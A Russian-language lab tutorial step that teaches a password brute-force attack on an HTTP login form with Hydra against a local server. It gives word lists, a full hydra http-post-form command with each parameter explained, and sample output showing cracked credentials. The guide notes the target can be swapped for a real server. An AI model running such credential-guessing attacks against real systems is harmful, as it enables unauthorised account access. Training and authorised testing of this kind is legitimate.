Выполнение базовой HTTP-атаки
На этом этапе мы выполним базовую HTTP-атаку с использованием Hydra. Hydra - это мощный инструмент для взлома паролей, который можно использовать для проверки безопасности различных сервисов, в том числе HTTP. Мы будем нацелены на простую HTTP-форму входа, чтобы продемонстрировать возможности Hydra.
Прежде чем приступить, давайте разберемся с некоторыми базовыми концепциями:
- HTTP (Hypertext Transfer Protocol, Протокол передачи гипертекста): Основа передачи данных в Всемирной паутине.
- Hydra: Параллельный инструмент для взлома логинов, поддерживающий множество протоколов для атаки.
- Цель (Target): В нашем случае - веб-сервер с формой входа.
- Список имен пользователей (Username List): Файл, содержащий список возможных имен пользователей.
- Список паролей (Password List): Файл, содержащий список возможных паролей.
Сначала создадим простой список имен пользователей и список паролей. Мы будем использовать nano
для создания этих файлов в каталоге ~/project
.
Создайте файл с именем users.txt
со следующим содержимым:
nano ~/project/users.txt
Добавьте в файл следующие имена пользователей:
admin
user
test
Сохраните файл, нажав Ctrl+X
, затем Y
, а затем Enter
.
Далее создайте файл с именем passwords.txt
со следующим содержимым:
nano ~/project/passwords.txt
Добавьте в файл следующие пароли:
password
123456
test
Сохраните файл, нажав Ctrl+X
, затем Y
, а затем Enter
.
Теперь предположим, что у нас есть веб-сервер, работающий по адресу 127.0.0.1
на порту 80
с формой входа. Форма требует имя пользователя и пароль, а страница входа расположена по адресу /login.php
. Мы будем использовать Hydra для попытки взлома входа.
Примечание: В рамках этого лабораторного занятия мы будем имитировать HTTP-сервис. В реальной ситуации вы должны заменить 127.0.0.1
на фактический IP-адрес или доменное имя целевого сервера.
Для выполнения базовой HTTP-атаки используйте следующую команду:
hydra -L ~/project/users.txt -P ~/project/passwords.txt 127.0.0.1 http-post-form "/login.php:username=^USER^&password=^PASS^:Invalid username or password"
Разберем эту команду:
hydra
: Команда запуска Hydra.
-L ~/project/users.txt
: Указывает файл со списком имен пользователей.
-P ~/project/passwords.txt
: Указывает файл со списком паролей.
127.0.0.1
: Целевой IP-адрес.
http-post-form
: Указывает модуль атаки на HTTP POST-форму.
"/login.php:username=^USER^&password=^PASS^:Invalid username or password"
: Указывает страницу входа, поля для имени пользователя и пароля, а также сообщение об ошибке, которое отображается при неудачном входе. ^USER^
и ^PASS^
- это заполнители, которые Hydra заменяет именами пользователей и паролями из списков.
После выполнения команды Hydra попытается войти, используя каждую комбинацию имени пользователя и пароля. Если удачный вход будет найден, Hydra отобразит имя пользователя и пароль.
Пример вывода (если вход успешен):
Hydra v9.6 (c) 2024 by van Hauser/THC - Use freely but only for legal purposes.
Hydra is starting...
[DATA] 1 task, 3 servers, 3 login tries (l:3/p:3), ~1 try per server
[DATA] attacking service http-post-form on port 80
[ATTACK] attacking 127.0.0.1:80/login.php
[80][http-post-form] host: 127.0.0.1 login: admin password: password
Этот вывод показывает, что Hydra успешно нашел комбинацию имени пользователя admin
и пароля password
.
Если удачный вход не будет найден, Hydra завершит работу без отображения каких-либо успешных учетных данных для входа.